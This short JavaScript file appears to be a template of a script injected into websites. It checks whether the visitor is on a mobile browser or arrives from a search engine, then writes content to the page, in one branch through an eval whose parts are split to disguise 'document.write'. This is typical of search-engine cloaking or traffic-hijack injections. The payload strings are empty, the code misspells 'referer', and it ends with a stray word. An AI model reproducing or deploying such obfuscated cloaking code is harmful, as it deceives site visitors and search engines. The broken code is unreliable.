function moble(){
var moble = '';
var ss = '';
var isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
var isFromSearching = document.referer.match(/\.(sogou|soso|baidu|google|youdao|yahoo|bing|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//i);
if (isMobile || isFromSearching) {
document.write(moble);
}else{
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
}
}
moble();
Lest